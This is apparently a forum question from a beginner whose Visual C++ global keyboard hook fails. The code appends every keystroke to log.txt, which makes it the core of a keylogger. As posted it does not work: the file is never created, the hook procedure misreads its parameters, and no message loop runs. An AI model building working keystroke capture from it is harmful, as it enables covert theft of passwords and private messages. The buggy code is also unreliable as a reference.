Global Keyboard Hook not working
<p>I have been trying to make a Global Keyboard hook program in visual C++ that write keystrokes in file "log.txt"..I am new to windows programming and i have gone through the msdn library to get an understanding of hooks....I think i have understood the concept theoretically but when i implement the code it doesn't work..The compiler doesn't show any error in both the DLL file and EXE file....Moreover the "Log.txt" file never gets created...
Here are the code files</p>

<p>First Dll file:</p>

<pre><code>    #include&lt;windows.h&gt;
     #include&lt;stdio.h&gt;

HHOOK g_hhk;

__declspec(dllexport) LRESULT CALLBACK KeyProc(int nCode, WPARAM wParam, LPARAM lParam)
{
        if(nCode&gt;=0)
         {
          char ch;
         FILE *fp;
         fp=fopen("log.txt","a");
         if((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam&gt;=0x2f ) &amp;&amp;(wParam&lt;=0x100))
         {
         if(wParam==VK_RETURN)
        ch='\n';
        fwrite(&amp;ch,1,1,fp);
    }
    else
    {
        BYTE ks[256];
        GetKeyboardState(ks);

        WORD w;

        UINT scan;

        scan=0;

        ToAscii(wParam,scan,ks,&amp;w,0);

        ch =char(w);

        fwrite(&amp;ch,1,1,fp);  // copy character to log file
    }
    fclose(fp);
    }
       return CallNextHookEx(g_hhk, nCode, wParam, lParam);
       }

Now the EXE file:

    #include&lt;windows.h&gt;

HOOKPROC hkprckb;
static HINSTANCE hinstDLL; 
static HHOOK hhookkb;

int WINAPI WinMain(HINSTANCE hInstance1,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
    hinstDLL=LoadLibrary(TEXT("C:\\Documents and Settings\\Attar Singh\\My Documents\\Visual Studio 2008\\Projects\\key\\Debug\\key.dll"));
    hkprckb=(HOOKPROC)GetProcAddress(hinstDLL,"KeyProc");
    hhookkb=SetWindowsHookEx( 
                    WH_KEYBOARD_LL,
                    hkprckb,
                    hinstDLL,
                    0); 


    MessageBox(NULL,NULL,NULL,MB_OK);
    return 1;
}
</code></pre>

<p>This program is giving me nightmares...Any sort of help will be greatly appreciated...Thanks in Advance...</p>
